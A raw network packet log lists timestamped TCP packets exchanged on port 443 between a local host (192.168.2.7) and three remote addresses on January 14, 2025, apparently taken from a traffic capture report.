Jan 14, 2025 15:23:49.449583054 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.449589014 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.449615955 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.449630976 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.449667931 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.449671030 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.453988075 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.454063892 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.454071999 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.472716093 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.473016977 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.473041058 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.473407984 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.474483967 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.474565983 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.474703074 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.474703074 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.474725008 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.505230904 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.536596060 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.536667109 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.536699057 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.536705971 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.536712885 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.536802053 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.536806107 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.537092924 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.537125111 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.537151098 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.537156105 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.537185907 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.537189007 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.537194014 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.537240982 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.537936926 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.538002968 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.538038969 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.538049936 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.538053989 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.538090944 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.538094997 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.538738966 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.538769960 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.538784027 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.538789034 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.538836956 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.538866043 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.538871050 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.538907051 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.539460897 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.539521933 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.539554119 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.539555073 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.539562941 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.539603949 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.576874018 CET	443	49738	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:49.593167067 CET	49738	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:49.593189955 CET	443	49738	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:49.594466925 CET	443	49738	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:49.594542980 CET	49738	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:49.595760107 CET	49738	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:49.595881939 CET	443	49738	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:49.596170902 CET	49738	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:49.596178055 CET	443	49738	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:49.623364925 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.623441935 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.623490095 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.623488903 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.623502016 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.623545885 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.623553038 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.623821020 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.623866081 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.623872042 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.623910904 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.623933077 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.623984098 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.623989105 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.624054909 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.624557972 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.624615908 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.624864101 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.624921083 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.624953985 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.625000954 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.625734091 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.625787020 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.625839949 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.625895977 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.625931025 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.625984907 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.626701117 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.626759052 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.626786947 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.626837015 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.638731956 CET	49738	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:49.654175043 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.654227972 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.654259920 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.654288054 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.654285908 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.654324055 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.654362917 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.654377937 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.654412031 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.654421091 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.655038118 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.655072927 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.655101061 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.655117035 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.655136108 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.655149937 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.659101963 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.659164906 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.659187078 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.701955080 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.712346077 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.712408066 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.712447882 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.712460995 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.712476969 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.712491989 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.712512016 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.712517023 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.712527037 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.712548971 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.712579966 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.712584019 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.712620974 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.712620974 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.712662935 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.713011980 CET	49736	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.713026047 CET	443	49736	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.719656944 CET	443	49738	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:49.719738960 CET	443	49738	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:49.719783068 CET	49738	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:49.720010042 CET	49738	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:49.720025063 CET	443	49738	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:49.720876932 CET	49739	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:49.720936060 CET	443	49739	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:49.721002102 CET	49739	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:49.721242905 CET	49739	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:49.721261024 CET	443	49739	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:49.744558096 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.744633913 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.744663954 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.744692087 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.744723082 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.744730949 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.744749069 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.744772911 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.744796038 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.744801044 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.745366096 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.745409012 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.745415926 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.745449066 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.745476961 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.745485067 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.745502949 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.745531082 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.745537043 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.745546103 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.745615005 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.746242046 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.746315002 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.746342897 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.746365070 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.746370077 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.746385098 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.746433973 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.746436119 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.746444941 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.746529102 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.747199059 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.747250080 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.747255087 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.747266054 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.747309923 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.834997892 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.835068941 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.835102081 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.835105896 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.835135937 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.835261106 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.835270882 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.835424900 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.835464001 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.835480928 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.835513115 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.835536003 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.835547924 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.835583925 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.836081028 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.836149931 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.836157084 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.836178064 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.836287975 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.836293936 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.836451054 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.837182999 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.837327957 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.837363958 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.837398052 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.837409019 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.837419987 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.837455988 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.838608980 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.838650942 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.838664055 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.838682890 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.838697910 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.838745117 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.838745117 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.838756084 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.838854074 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.838879108 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.838931084 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.838984966 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.839083910 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.839118958 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.839128017 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.839154005 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.890542030 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.927310944 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927464962 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927526951 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.927546024 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927573919 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927594900 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.927594900 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.927607059 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927664995 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927716017 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.927716017 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.927726984 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927762032 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927809954 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.927809954 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.927818060 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927839041 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927876949 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927885056 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.927891970 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927930117 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927933931 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.927948952 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.927977085 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.928013086 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.928015947 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.928030014 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.928056002 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.928056955 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.928375006 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.928380013 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.928431034 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.928466082 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.928566933 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.928607941 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.928607941 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.929642916 CET	49737	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:49.929657936 CET	443	49737	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:49.964160919 CET	49741	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.964211941 CET	443	49741	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:49.964282990 CET	49741	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.964636087 CET	49741	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:49.964646101 CET	443	49741	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:50.205878973 CET	443	49739	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:50.206948042 CET	49739	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:50.206958055 CET	443	49739	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:50.207437992 CET	443	49739	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:50.208049059 CET	49739	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:50.208142996 CET	443	49739	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:50.209822893 CET	49739	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:50.251343966 CET	443	49739	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:50.340871096 CET	443	49739	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:50.341135025 CET	443	49739	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:50.341325998 CET	49739	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:50.349628925 CET	49739	443	192.168.2.7	35.190.80.1
Jan 14, 2025 15:23:50.349651098 CET	443	49739	35.190.80.1	192.168.2.7
Jan 14, 2025 15:23:50.434377909 CET	443	49741	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:50.447587013 CET	49741	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:50.447607040 CET	443	49741	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:50.448103905 CET	443	49741	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:50.448580980 CET	49741	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:50.448648930 CET	443	49741	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:50.448713064 CET	49741	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:50.495333910 CET	443	49741	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:50.583690882 CET	443	49741	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:50.583769083 CET	443	49741	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:50.583900928 CET	49741	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:50.584748983 CET	49741	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:50.584770918 CET	443	49741	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:50.988253117 CET	49742	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:50.988293886 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:50.988523960 CET	49742	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:50.988729954 CET	49742	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:50.988734961 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:51.461749077 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:51.464694977 CET	49742	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:51.464710951 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:51.465511084 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:51.468674898 CET	49742	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:51.468851089 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:51.468852997 CET	49742	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:51.511324883 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:51.513473988 CET	49742	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:51.677056074 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:51.677130938 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:51.677181005 CET	49742	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:51.677200079 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:51.677215099 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:51.677268982 CET	49742	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:51.955920935 CET	49742	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:51.955940962 CET	443	49742	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:52.038336992 CET	49743	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:52.038395882 CET	443	49743	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:52.038496017 CET	49743	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:52.038918972 CET	49743	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:52.038933039 CET	443	49743	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:52.511509895 CET	443	49743	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:52.512144089 CET	49743	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:52.512171984 CET	443	49743	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:52.512507915 CET	443	49743	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:52.513045073 CET	49743	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:52.513045073 CET	49743	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:52.513077974 CET	443	49743	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:52.513127089 CET	443	49743	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:52.559393883 CET	49743	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:52.660799026 CET	443	49743	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:52.660876036 CET	443	49743	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:52.661005020 CET	49743	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:52.661956072 CET	49743	443	192.168.2.7	104.18.95.41
Jan 14, 2025 15:23:52.661977053 CET	443	49743	104.18.95.41	192.168.2.7
Jan 14, 2025 15:23:52.665699005 CET	49744	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:52.665740967 CET	443	49744	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:52.665827990 CET	49744	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:52.666074038 CET	49744	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:23:52.666085958 CET	443	49744	104.18.94.41	192.168.2.7
Jan 14, 2025 15:23:53.137712002 CET	443	49744	104.18.94.41	192.168.2.7
